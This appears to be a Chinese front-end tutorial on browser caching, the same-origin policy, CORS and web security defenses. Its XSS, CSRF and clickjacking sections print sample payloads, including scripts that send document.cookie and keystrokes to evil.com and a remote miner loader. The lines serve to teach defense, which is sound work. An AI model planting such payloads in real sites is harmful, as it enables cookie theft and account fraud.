├── 强缓存(本地缓存)
│   ├── Memory Cache(内存缓存)
│   └── Disk Cache(磁盘缓存)
└── 协商缓存(HTTP缓存)
    ├── Last-Modified / If-Modified-Since
    └── ETag / If-None-Match

完整请求流程图

强缓存(本地缓存)

强缓存 = 浏览器不经过服务器,直接从本地读取缓存。

在Chrome的Network面板中,你会看到:

  • 200 OK (from memory cache) → 从内存读取
  • 200 OK (from disk cache) → 从磁盘读取

强缓存的两种实现方式

1️⃣:Expires(HTTP/1.0)

http 复制代码
Expires: Wed, 21 Oct 2025 07:28:00 GMT

原理:服务器告诉浏览器:"在这个时间之前,直接用缓存,别问我"

问题

  • 依赖客户端时间(用户改了系统时间就失效)
  • 格式复杂,解析麻烦
  • 时间到了还得重新请求

2️⃣:Cache-Control(HTTP/1.1,推荐)

http 复制代码
Cache-Control: max-age=31536000

原理:服务器告诉浏览器:"这个资源在3600秒内有效,直接用缓存"

优势

  • 相对时间,不受客户端时间影响
  • 指令丰富,功能强大
  • 优先级高于Expires

Cache-Control 指令大全

指令 说明 示例
max-age 缓存有效期(秒) max-age=3600
s-maxage 共享缓存有效期(CDN) s-maxage=3600
public 任何缓存都可存(包括CDN) public, max-age=3600
private 仅浏览器可存(CDN不可存) private, max-age=3600
no-cache 强制协商缓存 no-cache
no-store 完全禁用缓存 no-store
must-revalidate 过期必须验证 must-revalidate

常见组合策略

http 复制代码
# 1. 静态资源(图片、CSS、JS)- 长期缓存
Cache-Control: public, max-age=31536000, immutable

# 2. HTML文件 - 每次都验证
Cache-Control: no-cache

# 3. 敏感数据 - 完全不缓存
Cache-Control: no-store, private

# 4. API响应 - 短时间缓存
Cache-Control: private, max-age=60

协商缓存

协商缓存 = 浏览器问一下服务器:"我这个缓存还能用吗?"

服务器可能回答:

  • 304 Not Modified:用你的缓存吧(不返回资源)
  • 200 OK:你的缓存过期了,这是新的(返回新资源)

协商缓存的两组搭档

1️⃣:Last-Modified / If-Modified-Since

http 复制代码
# 第一次请求的响应头
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT

# 后续请求的请求头
If-Modified-Since: Wed, 21 Oct 2023 07:28:00 GMT

工作原理

  1. 服务器返回资源时,带上最后修改时间
  2. 下次请求,浏览器带上这个时间问:"这个时间之后有修改吗?"
  3. 服务器检查:
    • 没修改 → 返回304
    • 有修改 → 返回200+新资源

问题

  • 只能精确到秒(1秒内多次修改无法识别)
  • 修改时间变了但内容没变(比如重命名文件)

2️⃣:ETag / If-None-Match(更精确)

http 复制代码
# 第一次请求的响应头
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"

# 后续请求的请求头
If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"

工作原理

  1. 服务器返回资源时,根据内容生成唯一指纹(ETag)
  2. 下次请求,浏览器带上这个指纹问:"这个指纹匹配吗?"
  3. 服务器检查:
    • 指纹匹配 → 返回304
    • 不匹配 → 返回200+新指纹

优势

  • 精确到内容级别(内容没变,指纹就不变)
  • 解决Last-Modified的所有问题

ETag的生成方式

javascript 复制代码
// 1. 基于文件内容哈希(推荐)
const hash = crypto.createHash('md5').update(fileContent).digest('hex');
ETag: `"${hash}"`

// 2. 基于版本号
ETag: `"v1.2.3"`

// 3. 基于修改时间+文件大小
ETag: `"${fileSize}-${fileMTime}"`

缓存决策流程

  1. 完整的缓存判断逻辑
javascript 复制代码
// 伪代码:浏览器的缓存决策逻辑
function shouldUseCache(request) {
  // 1. 检查是否有缓存
  const cache = findCache(request.url);
  if (!cache) return false;
  
  // 2. 检查Cache-Control: no-store
  if (cache.hasDirective('no-store')) return false;
  
  // 3. 检查强缓存
  if (cache.hasDirective('max-age')) {
    const age = Date.now() - cache.timestamp;
    if (age < cache.maxAge) {
      return 'strong-cache'; // 强缓存生效
    }
  }
  
  // 4. 检查Cache-Control: no-cache
  if (cache.hasDirective('no-cache')) {
    return 'negotiate-cache'; // 需要协商
  }
  
  // 5. 检查ETag/Last-Modified
  if (cache.etag || cache.lastModified) {
    return 'negotiate-cache'; // 需要协商
  }
  
  return false;
}
  1. 实际请求示例

第一次请求

http 复制代码
# 请求
GET /style.css

# 响应
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
ETag: "abc123"
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT
Content-Type: text/css

...文件内容...

第二次请求(1小时内)

bash 复制代码
# 浏览器:有缓存,max-age还没过,直接用!
# 网络面板显示:200 OK (from disk cache)

第三次请求(1小时后)

http 复制代码
# 请求
GET /style.css
If-None-Match: "abc123"
If-Modified-Since: Wed, 21 Oct 2023 07:28:00 GMT

# 响应(文件没变)
HTTP/1.1 304 Not Modified
# 没有文件内容!

第四次请求(1小时后,文件变了)

http 复制代码
# 请求
GET /style.css
If-None-Match: "abc123"
If-Modified-Since: Wed, 21 Oct 2023 07:28:00 GMT

# 响应(文件变了)
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
ETag: "def456"  # 新的指纹
Last-Modified: Wed, 21 Oct 2023 09:15:00 GMT  # 新的时间

...新的文件内容...

实际应用策略

  1. 静态资源缓存策略(最佳实践)
nginx 复制代码
# 1. HTML文件 - 每次都验证(no-cache)
location / {
    add_header Cache-Control "no-cache";
}

# 2. CSS/JS/图片 - 长期缓存(文件名带哈希)
location /static/ {
    add_header Cache-Control "public, max-age=31536000, immutable";
}
  1. 文件名哈希策略
html 复制代码
<!-- 不好的做法:覆盖式发布 -->
<link rel="stylesheet" href="style.css">

<!-- 好的做法:文件名带哈希,非覆盖式发布 -->
<link rel="stylesheet" href="style.a1b2c3.css">
<link rel="stylesheet" href="style.d4e5f6.css">

发布流程

  1. 构建时生成文件哈希:style.8d3f9e.css
  2. 部署新文件(旧文件还在)
  3. 更新HTML引用
  4. 用户下次访问自动下载新文件

不同资源的缓存策略

资源类型 推荐策略 原因
HTML no-cache 需要实时更新
CSS/JS max-age=31536000, immutable 内容稳定,文件名哈希
图片 max-age=86400 (1天) 可以稍微滞后
API数据 private, max-age=60 用户相关,短时间缓存
用户头像 public, max-age=3600 公开数据,可缓存

刷新操作对缓存的影响

javascript 复制代码
// 不同刷新操作的不同行为
┌─────────────────┬──────────┬────────────┐
│    操作         │ 强缓存   │ 协商缓存   │
├─────────────────┼──────────┼────────────┤
│ 普通刷新(F5)    │ ✅ 生效  │ ✅ 生效    │
├─────────────────┼──────────┼────────────┤
│ 强制刷新(Ctrl+F5)│ ❌ 跳过  │ ❌ 跳过    │
├─────────────────┼──────────┼────────────┤
│ 地址栏回车       │ ✅ 生效  │ ✅ 生效    │
├─────────────────┼──────────┼────────────┤
│ 前进/后退       │ ✅ 生效  │ ✅ 生效    │
└─────────────────┴──────────┴────────────┘

禁用缓存(调试时常用):

arduino 复制代码
Network面板 → 勾选 "Disable cache"

查看完整头信息

diff 复制代码
Network面板 → 点击请求 → Headers
- Response Headers: 服务器返回的缓存指令
- Request Headers: 浏览器发送的验证条件

缓存问题排查清单

javascript 复制代码
// 当缓存不符合预期时,按顺序检查
const cacheDebugChecklist = [
  '1. 看Network面板,实际状态码是什么?',
  '2. 检查Response Headers的Cache-Control',
  '3. 检查是否有ETag/Last-Modified',
  '4. 看是memory cache还是disk cache',
  '5. 尝试地址栏回车(不是刷新)',
  '6. 检查文件名是否带哈希',
  '7. 看是不是强制刷新了',
  '8. 检查浏览器设置是否禁用缓存'
];

版本回退问题

html 复制代码
<!-- 场景:发布了新版本,但HTML引用的还是旧哈希 -->
<link rel="stylesheet" href="style.oldhash.css">

<!-- 问题:用户缓存了旧HTML,永远拿不到新CSS! -->

解决方案

  1. HTML设置no-cache(强制验证)
  2. 或使用Service Worker主动更新

CDN缓存不一致

http 复制代码
# 如果CDN缓存了旧资源,用户可能一直拿不到新的
# 解决方案:版本回退策略
Cache-Control: public, max-age=31536000
Surrogate-Control: max-age=86400  # CDN只缓存1天

ETag的计算开销

javascript 复制代码
// 如果每个请求都重新计算ETag(读文件、算哈希)
// 可能反而降低性能!

// 好的做法:
// 1. 用文件修改时间+大小(轻量)
// 2. 用版本号(最简单)
// 3. 用缓存计算结果(只在文件变更时算)

六、🛡️浏览器的同源策略:Web安全的基石

同源策略

想象一下:如果没有同源策略...

javascript 复制代码
// 你在浏览银行网站 https://mybank.com
// 同时打开了恶意网站 https://evil.com

// 恶意网站的脚本可以:
// 1. 读取你的银行数据
fetch('https://mybank.com/api/account')  // 能成功吗?
  .then(res => res.json())
  .then(data => console.log('你的余额:', data));

// 2. 操作你的账户
fetch('https://mybank.com/api/transfer', {
  method: 'POST',
  body: 'to=hacker&amount=10000'
});

// 3. 获取你的Cookie
console.log(document.cookie);  // 能看到银行的Cookie吗?

这太危险了!💀

同源策略 = 浏览器规定:只有"同源"的页面,才能共享和操作彼此的资源

什么是同源 ?------ 协议 + 域名 + 端口 三者完全相同!

bash 复制代码
https://mybank.com:443/index.html
  ↑         ↑       ↑
 协议      域名    端口

同源判断示例

URL A URL B 是否同源 原因
https://mybank.com https://mybank.com/api ✅ 同源 协议、域名、端口相同
https://mybank.com http://mybank.com ❌ 不同源 协议不同(https vs http)
https://mybank.com https://api.mybank.com ❌ 不同源 域名不同(子域名不同)
https://mybank.com https://mybank.com:8080 ❌ 不同源 端口不同(443 vs 8080)
http://localhost:3000 http://127.0.0.1:3000 ❌ 不同源 域名不同(localhost vs IP)

同源策略的三大防线

同源策略主要保护三个方面:

  1. 第一道防线:DOM 访问限制
javascript 复制代码
// 页面A: https://mybank.com
// 页面B: https://evil.com(不同源)

// ❌ 无法读取对方的DOM
const iframe = document.getElementById('bank-iframe');
console.log(iframe.contentDocument.body.innerHTML); 
// 报错!Blocked a frame with origin "https://evil.com" 
// from accessing a cross-origin frame.

保护的场景

  • 恶意网站不能读取银行网站的内容
  • 不能篡改其他网站的DOM结构
  • 不能监听其他网站的用户输入
  1. 第二道防线:网络请求限制
javascript 复制代码
// 页面: https://myapp.com
// API: https://api.myapp.com(不同源!)

// ❌ 默认情况下,跨域请求会被限制
fetch('https://api.myapp.com/data')
  .then(res => res.json())
  .catch(err => console.log('跨域错误:', err));
// 报错!No 'Access-Control-Allow-Origin' header

保护的场景

  • 恶意网站不能随意调用其他网站的API
  • 保护用户数据不被第三方窃取

注意 :同源策略阻止的是读取响应,不是阻止发送请求!

javascript 复制代码
// 请求可以发送出去,服务器也会处理
// 但浏览器不允许JS读取响应内容
  1. 第三道防线:数据存储隔离
javascript 复制代码
// 页面A: https://mybank.com
localStorage.setItem('token', 'secret123');

// 页面B: https://evil.com
console.log(localStorage.getItem('token')); 
// null!不同源的localStorage完全隔离

// Cookie虽然有特殊规则,但默认也只能由同源页面读取
console.log(document.cookie); // 只能看到自己域名的Cookie

保护的存储

  • localStorage/sessionStorage
  • IndexedDB
  • Cookies(有特殊规则)
  • Web SQL

可以跨域访问的资源

同源策略不是一刀切,有些资源是允许跨域访问的:

  1. 允许跨域的标签
html 复制代码
<!-- ✅ 这些标签可以加载跨域资源 -->
<img src="https://other-site.com/image.jpg">
<link rel="stylesheet" href="https://other-site.com/style.css">
<script src="https://other-site.com/script.js"></script>
<video src="https://other-site.com/video.mp4"></video>
<iframe src="https://other-site.com/page.html"></iframe>

为什么允许?

  • 这些是Web的基础功能(图片、样式、脚本)
  • 但如果完全不加限制也有风险,所以后续加了CORS等机制
  1. 允许的跨域写入
html 复制代码
<!-- ✅ 可以提交表单到跨域地址 -->
<form action="https://other-site.com/submit" method="POST">
  <input type="text" name="data">
  <button type="submit">提交</button>
</form>

<!-- ✅ 可以重定向到跨域地址 -->
<a href="https://other-site.com">跳转</a>
  1. 禁止的跨域读取
javascript 复制代码
// ❌ 不能读取跨域响应的内容
const response = await fetch('https://api.other.com/data');
const data = await response.json(); // 报错!

// ❌ 不能读取跨域页面的DOM
const iframe = document.getElementById('other-site');
console.log(iframe.contentWindow.document); // 报错!

// ❌ 不能读取跨域的Cookie
console.log(document.cookie); // 只能看到自己域名的

合法地跨域

  1. CORS(跨域资源共享)- 最正统的方案

CORS = Cross-Origin Resource Sharing,通过HTTP头来控制跨域访问。

简单请求

http 复制代码
# 请求头(浏览器自动添加)
Origin: https://myapp.com

# 响应头(服务器必须设置)
Access-Control-Allow-Origin: https://myapp.com
# 或允许所有
Access-Control-Allow-Origin: *

完整CORS响应头

http 复制代码
Access-Control-Allow-Origin: https://myapp.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true  # 允许携带Cookie
Access-Control-Max-Age: 86400  # 预检请求缓存时间

携带Cookie的跨域请求

javascript 复制代码
// 前端需要设置 credentials
fetch('https://api.other.com/data', {
  credentials: 'include'  // 携带Cookie
});

// 服务器必须响应
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://myapp.com  // 不能是*!

预检请求(Preflight)

对于复杂请求(如PUT、自定义头),浏览器会先发OPTIONS请求:

javascript 复制代码
// 实际请求
fetch('https://api.other.com/data', {
  method: 'PUT',
  headers: {
    'Content-Type': 'application/json',
    'X-Custom-Header': 'value'
  }
});

// 浏览器先发预检
OPTIONS /data HTTP/1.1
Origin: https://myapp.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: content-type, x-custom-header

// 服务器响应预检
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://myapp.com
Access-Control-Allow-Methods: PUT
Access-Control-Allow-Headers: Content-Type, X-Custom-Header
Access-Control-Max-Age: 86400
  1. JSONP - 古老但好用的方案

利用<script>标签可以跨域的特性:

javascript 复制代码
// 前端动态创建script
function jsonp(url, callbackName) {
  return new Promise((resolve, reject) => {
    // 定义回调函数
    window[callbackName] = (data) => {
      resolve(data);
      document.body.removeChild(script);
      delete window[callbackName];
    };
    
    // 创建script标签
    const script = document.createElement('script');
    script.src = `${url}?callback=${callbackName}`;
    script.onerror = reject;
    document.body.appendChild(script);
  });
}

// 使用
jsonp('https://api.other.com/data', 'handleData')
  .then(data => console.log(data));

// 服务器返回
handleData({ "name": "张三", "age": 25 });

优缺点

  • ✅ 兼容性好(支持老浏览器)
  • ✅ 实现简单
  • ❌ 只支持GET请求
  • ❌ 错误处理不完善
  • ❌ 安全性问题(可能被注入)
  1. 代理服务器 - 开发常用
javascript 复制代码
// vite.config.js
export default {
  server: {
    proxy: {
      '/api': {
        target: 'https://api.other.com',
        changeOrigin: true,
        rewrite: (path) => path.replace(/^\/api/, '')
      }
    }
  }
}

// 前端直接写
fetch('/api/users')  // 被代理到 https://api.other.com/users

原理:浏览器 → 同源代理服务器 → 目标服务器

  1. postMessage - 跨窗口通信
javascript 复制代码
// 页面A: https://myapp.com
const iframe = document.getElementById('other-site');
iframe.contentWindow.postMessage({
  type: 'GET_DATA',
  id: 123
}, 'https://other-site.com');

// 页面B: https://other-site.com
window.addEventListener('message', (event) => {
  // 验证来源
  if (event.origin !== 'https://myapp.com') return;
  
  console.log('收到数据:', event.data);
  
  // 回传数据
  event.source.postMessage({
    type: 'DATA_RESPONSE',
    data: { name: '张三' }
  }, event.origin);
});
  1. document.domain - 子域名通信
javascript 复制代码
// 页面A: https://app.mycompany.com
// 页面B: https://api.mycompany.com

// 两个页面都设置相同的domain
document.domain = 'mycompany.com';

// 现在可以互相访问了!
const iframe = document.getElementById('api-iframe');
console.log(iframe.contentDocument); // 可以访问了!

注意:这种方式已经逐渐被废弃,推荐使用postMessage

  1. 坑点:CORS 预检请求的性能影响
javascript 复制代码
// 每个复杂请求都会先发OPTIONS
// 如果接口很多,会多出很多请求!

// 解决方案:设置Access-Control-Max-Age
Access-Control-Max-Age: 86400  // 缓存预检结果1天
  1. 坑点:Cookie 的跨域问题
javascript 复制代码
// 即使设置了CORS,Cookie默认也不会携带
fetch('https://api.other.com/data', {
  credentials: 'include'  // 必须显式指定
});

// 服务器也必须设置
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://myapp.com  // 不能是*!
  1. 坑点:localhost 和 127.0.0.1 不同源
javascript 复制代码
// 页面: http://localhost:3000
// API: http://127.0.0.1:3000

fetch('http://127.0.0.1:3000/api'); 
// 跨域错误!因为域名不同

同源策略与安全

1. 同源策略可以预防的攻击

攻击类型 是否防御 说明
CSRF ⚠️ 部分 Cookie自动携带的问题仍需额外防护
XSS ❌ 不防 XSS是代码注入,同源策略无法阻止
点击劫持 ⚠️ 部分 需要配合X-Frame-Options
数据泄露 ✅ 有效 防止恶意网站读取其他网站数据

2. 同源策略不能预防的攻击

javascript 复制代码
// CSRF攻击:同源策略不防!
// 用户访问恶意网站,自动向银行发请求
fetch('https://mybank.com/transfer', {
  method: 'POST',
  body: 'to=hacker&amount=10000',
  credentials: 'include'  // 浏览器会自动带上Cookie!
});

// 需要额外防护:CSRF Token、SameSite Cookie

3. 相关安全策略

http 复制代码
# X-Frame-Options - 防止点击劫持
X-Frame-Options: DENY  # 禁止被iframe
X-Frame-Options: SAMEORIGIN  # 只允许同源iframe

# Content-Security-Policy - 内容安全策略
Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com

# Referrer-Policy - 控制Referer
Referrer-Policy: same-origin

七、🛡️浏览器安全完全指南:从XSS到CSRF,全方位防御体系

某电商平台因为一个XSS漏洞,导致:

  • 10万+用户Cookie被盗
  • 攻击者冒充用户下单
  • 直接经济损失数百万
  • 品牌信誉严重受损

罪魁祸首:一行不安全的代码

javascript 复制代码
// 就这行代码!
document.getElementById('comment').innerHTML = userInput;

XSS攻击 - 最普遍的威胁

XSS = Cross-Site Scripting(跨站脚本攻击)

原理:攻击者在目标网站注入恶意脚本,当其他用户访问时执行。

XSS的三种类型

  1. 反射型XSS(非持久型)
javascript 复制代码
// 恶意链接
https://example.com/search?q=<script>alert('XSS')</script>

// 服务器直接返回
<p>您搜索的是:<script>alert('XSS')</script></p>

// 用户点击后,脚本立即执行

特点

  • 一次性,不存储
  • 通常通过URL传播
  • 需要诱导用户点击
  1. 存储型XSS(持久型) - 最危险!
javascript 复制代码
// 攻击者在评论区提交
评论内容:<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

// 网站存储到数据库
// 所有访问该页面的用户都会执行此脚本
// 管理员查看时也会执行!

特点

  • 存储在服务器
  • 影响所有访问者
  • 难以彻底清除
  1. DOM型XSS(前端特有)
javascript 复制代码
// URL: https://example.com#default=<script>alert(1)</script>

// 前端代码
const hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash; // 危险!

特点

  • 完全在前端发生
  • 服务器不知道
  • WAF无法防御

XSS攻击能做什么?

javascript 复制代码
// 1. 窃取Cookie
document.write('<img src="https://evil.com/steal?cookie=' + document.cookie + '">');

// 2. 键盘记录
document.addEventListener('keypress', function(e) {
  fetch('https://evil.com/log?key=' + e.key);
});

// 3. 伪造请求
fetch('https://bank.com/transfer', {
  method: 'POST',
  body: 'to=hacker&amount=10000',
  credentials: 'include'
});

// 4. 篡改页面
document.body.innerHTML = '<h1>网站被黑!</h1>';

// 5. 挖矿脚本
const script = document.createElement('script');
script.src = 'https://miner.com/cryptojs.js';
document.head.appendChild(script);

XSS防御方案

方案一:输入过滤(第一道防线)

javascript 复制代码
// 过滤特殊字符
function sanitizeInput(input) {
  return input
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;')
    .replace(/\//g, '&#x2F;');
}

// 使用DOMPurify(推荐)
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(dirtyInput);

方案二:输出编码(第二道防线)

javascript 复制代码
// HTML上下文
<div>${encodeHTML(userInput)}</div>

// JavaScript上下文
<script>
  const data = ${JSON.stringify(userInput).replace(/</g, '\\x3c')};
</script>

// URL上下文
<a href="/page?param=${encodeURIComponent(userInput)}">

// CSS上下文
div {
  background: ${encodeCSS(userInput)};
}

方案三:CSP(内容安全策略)- 最强防御!

http 复制代码
# 严格CSP
Content-Security-Policy: 
  default-src 'self';                    # 只允许同源资源
  script-src 'self' https://trusted.com;  # 只允许指定源的脚本
  style-src 'self';                       # 只允许同源样式
  img-src *;                               # 图片允许所有源
  connect-src 'self';                      # AJAX只允许同源
  frame-ancestors 'none';                  # 禁止被iframe
  form-action 'self';                      # 表单只提交同源
html 复制代码
<!-- 或通过meta标签 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

方案四:HttpOnly Cookie(防御Cookie窃取)

http 复制代码
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

效果:JS无法读取HttpOnly的Cookie

CSRF攻击 - 冒充你的身份

CSRF = Cross-Site Request Forgery(跨站请求伪造)

原理:利用用户已登录的身份,在用户不知情的情况下发送恶意请求。

html 复制代码
<!-- 受害者已登录银行网站 -->

<!-- 攻击者网站 evil.com 中的代码 -->

<!-- 方式1:自动提交表单 -->
<form id="transfer" action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="hacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('transfer').submit();</script>

<!-- 方式2:图片标签 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000">

<!-- 方式3:AJAX请求 -->
<script>
  fetch('https://bank.com/transfer', {
    method: 'POST',
    body: 'to=hacker&amount=10000',
    credentials: 'include'  // 自动带上Cookie!
  });
</script>

CSRF的成因:

http 复制代码
# 银行网站的Cookie设置
Set-Cookie: sessionId=abc123; Domain=bank.com; Path=/

# 浏览器机制:访问bank.com自动携带Cookie
# 问题:访问evil.com时,如果它请求bank.com,也会自动携带Cookie!

核心问题:Cookie的自动携带机制被滥用

CSRF防御方案

方案一:CSRF Token(最有效)

html 复制代码
<!-- 服务器生成随机token,存在session中 -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="随机生成的token">
  <input type="text" name="to">
  <input type="text" name="amount">
  <button>转账</button>
</form>

<!-- 服务器验证token -->

原理:攻击者无法获取这个token(同源策略阻止)

方案二:SameSite Cookie(现代浏览器的解决方案)

http 复制代码
# 设置SameSite属性
Set-Cookie: sessionId=abc123; SameSite=Strict

# SameSite=Lax(默认):GET请求可以跨站,POST不行
# SameSite=Strict:完全禁止跨站发送
# SameSite=None:允许跨站(必须同时设置Secure)

方案三:验证Referer/Origin

javascript 复制代码
// 服务器端验证
function validateRequest(req) {
  const referer = req.headers.referer;
  const origin = req.headers.origin;
  
  // 检查是否来自允许的域名
  if (!referer || !referer.startsWith('https://bank.com')) {
    throw new Error('Invalid referer');
  }
}

方案四:二次验证

javascript 复制代码
// 敏感操作需要额外验证
async function transfer(amount, to) {
  // 1. 弹出验证码
  const code = await showCaptcha();
  
  // 2. 发送短信验证码
  const smsCode = await sendSMS();
  
  // 3. 确认操作
  await confirmDialog();
  
  // 最后才执行转账
  return await api.transfer(amount, to, smsCode);
}

点击劫持 - 看不见的陷阱

原理:用透明iframe覆盖在页面上,诱导用户点击。

html 复制代码
<!-- 攻击者页面 -->
<style>
  iframe {
    position: absolute;
    top: 0;
    left: 0;
    opacity: 0;  /* 完全透明 */
    width: 100%;
    height: 100%;
    z-index: 100;
  }
  
  .button {
    position: absolute;
    top: 100px;
    left: 100px;
    width: 200px;
    height: 50px;
    background: blue;
    color: white;
  }
</style>

<!-- 吸引人的假按钮 -->
<div class="button">点击领取红包!</div>

<!-- 透明的银行转账iframe -->
<iframe src="https://bank.com/transfer?to=hacker&amount=10000"></iframe>

点击劫持防御

http 复制代码
# X-Frame-Options(老方案)
X-Frame-Options: DENY  # 禁止任何iframe
X-Frame-Options: SAMEORIGIN  # 只允许同源iframe

# CSP的frame-ancestors(新方案)
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors https://trusted.com
javascript 复制代码
// JS防御(帧破坏)
if (top !== self) {
  top.location.href = self.location.href;  // 跳出iframe
}

中间人攻击 - 窃听你的通信

原理:攻击者拦截并篡改客户端和服务器之间的通信。

css 复制代码
[用户] <-----> [攻击者] <-----> [服务器]
        窃听、篡改       转发

中间人攻击能做什么?

javascript 复制代码
// 1. 窃取敏感信息
// 2. 篡改页面内容(插入恶意脚本)
// 3. 劫持登录凭证
// 4. 重定向到钓鱼网站

防御方案:HTTPS

http 复制代码
# 强制HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# 这告诉浏览器:接下来的1年内,只能用HTTPS访问

HSTS预加载:提交到浏览器内置列表,彻底杜绝HTTP访问

其他常见攻击

  1. 开放重定向
javascript 复制代码
// 漏洞代码
const redirectUrl = new URLSearchParams(location.search).get('url');
window.location.href = redirectUrl;  // 可以跳转到任意网站

// 攻击:https://bank.com/logout?url=https://evil.com
// 用户以为退出银行,结果到了钓鱼网站

防御:白名单验证

javascript 复制代码
const allowedDomains = ['bank.com', 'trusted.com'];
const url = new URL(redirectUrl);

if (allowedDomains.includes(url.hostname)) {
  window.location.href = redirectUrl;
} else {
  window.location.href = '/default';
}
  1. 文件上传漏洞
javascript 复制代码
// 攻击者上传PHP文件伪装成图片
shell.php.jpg

// 如果服务器没检查,就能执行恶意代码

防御

  • 检查文件类型(MIME + 扩展名)
  • 限制文件大小
  • 重命名文件(避免路径猜测)
  • 存储在独立域名(避免Cookie携带)
  1. iframe 劫持
html 复制代码
<!-- 恶意网站把你网站套在iframe里 -->
<iframe src="https://your-site.com"></iframe>

防御

http 复制代码
X-Frame-Options: SAMEORIGIN
# 或
Content-Security-Policy: frame-ancestors 'self'

浏览器内置安全机制

  1. 同源策略(基础中的基础)

  2. CSP(内容安全策略)

内容安全策略,通过白名单控制资源加载。

http 复制代码
# 完整CSP示例
Content-Security-Policy:
  default-src 'none';                    # 默认禁止所有
  script-src 'self' https://cdn.com;      # 允许同源和CDN的脚本
  style-src 'self' 'unsafe-inline';       # 允许内联样式(不推荐)
  img-src * data:;                        # 允许所有图片和data URI
  font-src https://fonts.google.com;      # 只允许Google字体
  connect-src 'self' https://api.com;     # AJAX只允许指定源
  frame-ancestors 'none';                  # 禁止被iframe
  form-action 'self';                      # 表单只提交同源
  base-uri 'self';                         # 限制<base>标签
  upgrade-insecure-requests;               # 升级HTTP请求到HTTPS
  1. 安全Cookie属性
http 复制代码
Set-Cookie:
  sessionId=abc123;
  Secure;          # 只在HTTPS发送
  HttpOnly;        # 禁止JS访问
  SameSite=Strict; # 禁止跨站发送
  Domain=bank.com; # 限制域名
  Path=/;          # 限制路径
  Max-Age=3600;    # 过期时间
  1. 子资源完整性(SRI)
html 复制代码
<!-- 确保CDN上的文件没有被篡改 -->
<script 
  src="https://cdn.com/jquery.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
  crossorigin="anonymous">
</script>
  1. Trusted Types(防御DOM XSS)
javascript 复制代码
// 开启Trusted Types
Content-Security-Policy: require-trusted-types-for 'script';

// 使用Trusted Types
const policy = trustedTypes.createPolicy('my-policy', {
  createHTML: (input) => DOMPurify.sanitize(input),
  createScript: (input) => '',  // 禁止脚本
});

// 安全地设置innerHTML
element.innerHTML = policy.createHTML(userInput);

安全思维导图

css 复制代码
【浏览器安全】
├── XSS攻击
│   ├── 反射型 → 输入过滤、输出编码
│   ├── 存储型 → CSP、HttpOnly
│   └── DOM型 → Trusted Types、避免innerHTML
├── CSRF攻击
│   ├── 原理 → CSRF Token
│   ├── 防御 → SameSite Cookie
│   └── 补充 → 验证Referer
├── 点击劫持
│   ├── 原理 → X-Frame-Options
│   └── 防御 → CSP frame-ancestors
├── 中间人攻击
│   ├── 原理 → HTTPS
│   └── 防御 → HSTS
└── 其他攻击
    ├── 开放重定向 → 白名单验证
    ├── 文件上传 → 类型检查、重命名
    └── iframe劫持 → 帧破坏
相关推荐
wuhen_n1 小时前
AST转换:静态提升与补丁标志
前端·javascript·vue.js
喝咖啡的女孩1 小时前
浏览器前端指南-2
前端
cxxcode1 小时前
从 V8 引擎视角理解微任务与宏任务
前端
destinying2 小时前
性能优化之实战指南:让你的 Vue 应⽤跑得飞起
前端·javascript·vue.js
徐小夕3 小时前
JitWord Office预览引擎:如何用Vue3+Node.js打造丝滑的PDF/Excel/PPT嵌入方案
前端·vue.js·github
晴殇i3 小时前
揭秘JavaScript中那些“不冒泡”的DOM事件
前端·javascript·面试
孟陬4 小时前
国外技术周刊 #1:Paul Graham 重新分享最受欢迎的文章《创作者的品味》、本周被划线最多 YouTube《如何在 19 分钟内学会 AI》、为何我不
java·前端·后端
BER_c4 小时前
前端权限校验最佳实践:一个健壮的柯里化工具函数
前端·javascript
兆子龙4 小时前
别再用 useState / data 管 Tabs 的 activeKey 了:和 URL 绑定才香
前端·架构